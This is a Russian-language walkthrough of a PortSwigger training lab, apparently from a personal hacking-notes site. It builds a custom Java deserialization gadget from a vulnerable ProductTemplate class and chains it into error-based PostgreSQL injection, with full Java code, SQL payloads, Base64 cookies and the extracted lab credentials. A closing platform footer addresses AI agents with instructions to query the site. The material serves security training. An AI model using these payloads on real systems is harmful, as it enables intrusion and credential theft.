> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md).

# Разработка пользовательской цепочки гаджетов для Java-десериализации

Заметки по лабораторным работам PortSwigger Web Security Academy о разработке пользовательской цепочки гаджетов для Java-десериализации, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и ремедиа

### Разработка пользовательской цепочки гаджетов для десериализации Java

**Цель лабораторной работы**

Этот лабораторный стенд основан на механизме сессии, использующем сериализацию Java. Создав \*\*цепочку пользовательских гаджетов\*\*, можно эксплуатировать небезопасную десериализацию, чтобы **получить пароль администратора**, затем войти с этой учётной записью и удалить пользователя **carlos**.

Предоставленный идентификатор:

* Пользователь: `wiener`
* Пароль: `peter`

\*\* Первичный анализ сессии\*\*

Наблюдаемый cookie сессии закодирован в Base64:

{% code overflow="wrap" %}

```bash
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg%3d%3d
```

{% endcode %}

После декодирования явно определяется сериализация Java, что подтверждает использование `ObjectInputStream` на стороне сервера.

{% code overflow="wrap" %}

```bash
echo 'rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg==' | base64 -d ; echo
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2710de988f6870abfd05f1be4d59fac215b4727%2F%7B3BB70C68-B6D2-489B-9D37-53EC2827CBF7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Доступ к исходному коду**

HTML-комментарий содержит ссылку на резервную копию исходного кода Java:

```html
<!-- <a href=/backup/AccessTokenUser.java>Пример пользователя</a> -->
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0219ad0f1861ad0bce711e792f7b5d844320d72%2F%7B67D1AF42-0D8B-42E8-96E2-2E84CD5DD832%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Содержимое `AccessTokenUser.java` файл:

* Сериализуемый класс
* Два атрибута: `имя пользователя` и `accessToken`
* Нет опасного поведения, которое можно было бы напрямую эксплуатировать

```java
package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}
```

В `/backup` в папке привлекает внимание ещё один файл: **`ProductTemplate.java`**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a9ec15f82bf19681bf756c45bc99e84a3e9ec9a%2F%7B7C78FAF8-DEEF-446F-BBD2-15410B7ACBAF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Уязвимый класс: ProductTemplate**

Эта `ProductTemplate` класс реализует `Serializable` и переопределяет `readObject()` метод.

Критические моменты:

* Эта `readObject()` метод выполняется автоматически при десериализации
* SQL-запрос динамически строится с помощью `String.format`
* Эта `id` параметр подставляется непосредственно в запрос без проверки

```java
String sql = String.format(
  "SELECT * FROM products WHERE id = '%s' LIMIT 1", id
);
```

```java
package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

```

**Создание Java payload**

Чтобы сгенерировать корректный сериализованный объект, создаётся локальный Java-проект:

Минимальная структура:

```bash
data/
└── productcatalog/
    ├── ProductTemplate.java
    └── Product.java
Main.java
```

Классы намеренно упрощены, чтобы оставить только **сериализации**, без внутренней логики.

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("your-payload-here");

        String serializedObject = serialize(originalObject);

        System.out.println("Сериализованный объект: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("ID десериализованного объекта: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

**Генерация вредоносного cookie**

В `Main.java`, а `ProductTemplate` объект создаётся с контролируемым значением для `id`, затем сериализуется и кодируется в Base64.

```java
// Вся логика удалена из ProductTemplate, так как она не нужна для сериализации

package data.productcatalog;

import java.io.Serializable;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    public String getId() {
        return id;
    }
}
```

```bash
nvim data/productcatalog/Product.java
```

```java
// Этот класс добавлен только для того, чтобы ProductTemplate мог корректно скомпилироваться

package data.productcatalog;
class Product {}
```

Первый тест с простой одинарной кавычкой:

```java
        ProductTemplate originalObject = new ProductTemplate("'");
```

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("'");

        String serializedObject = serialize(originalObject);

        System.out.println("Сериализованный объект: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("ID десериализованного объекта: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

Сервер возвращает SQL-ошибку, подтверждая инъекцию.

```bash
javac Main.java
java Main
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-295073ae28ae1e31c550829da4c2d81d2a1111fa%2F%7BC0482538-594F-4D5D-8682-8FA1968E79A6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```http
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc=
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5643d57734dbef927c7a7e76edb945631f77b80e%2F%7BEC9B7599-4C6F-458F-BF7E-036BF4B39C31%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Эксплуатация SQL-инъекции**

1. **Определение количества столбцов**/ → обнаружено 8 столбцов

```java
        ProductTemplate originalObject = new ProductTemplate("' order by 8-- -");
```

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAECcgb3JkZXIgYnkgOC0tIC0=
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8afb8539e192b7115bc4a3b7c51d9eef690325c4%2F%7B078E73EB-5471-4D8E-94A1-1F3A3825C5BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**ТЕСТ UNION SELECT**/ → Четвёртый столбец пригоден

{% code overflow="wrap" %}

```bash
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - ";
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAOicgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTC0tIC0
```

* **Сводка по таблицам**
* Обнаружена таблица: `users`

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(table_name as numeric),NULL,NULL,NULL,NULL from information_schema.tables-- -");
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAcCcgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLGNhc3QodGFibGVfbmFtZSBhcyBudW1lcmljKSxOVUxMLE5VTEwsTlVMTCxOVUxMIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcy0tIC0=
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5191699e1c618d8f4d29bee9b05d3af853e22f26%2F%7B652C4F25-7706-4BD5-BF60-37C9A7190D4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(table_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.tables-- -");
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAfScgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLChzdHJpbmdfYWdnKHRhYmxlX25hbWUsICcsJykgYXMgbnVtZXJpYyksTlVMTCxOVUxMLE5VTEwsTlVMTCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMtLSAt
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd335a444698a9b4b3b34f9b4403349df4a717c%2F%7B36C106EC-2CC6-49E1-9C17-6412D5AEDCE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Перечисление столбцов**

* `имя пользователя`
* `пароль`
* `электронная почта`

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(column_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.columns where table_name='users'-- -");
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1cf0eda9894cf08a4c243a8b62ac953e5d70328c%2F%7BFB0087E5-5892-4F80-9AD5-7509DA31B49E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. **Извлечение учётных данных**

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM users-- -");
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32592823609540b1f764e3d315685abf1b19b606%2F%7B87BE7D28-25C0-4029-B906-E8B1254C14FC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Итоговый payload, внедрённый в сериализованный объект:

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM
users-- -");

        String serializedObject = serialize(originalObject);

        System.out.println("Сериализованный объект: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("ID десериализованного объекта: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

**Результат достигнут**

После отправки сериализованного cookie ответ сервера раскрывает учётные данные:

```wit
administrator:sa47nyh8ebw4q0h7dvhn
wiener:peter
carlos:ig1e9avhmums5iac8rwa
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
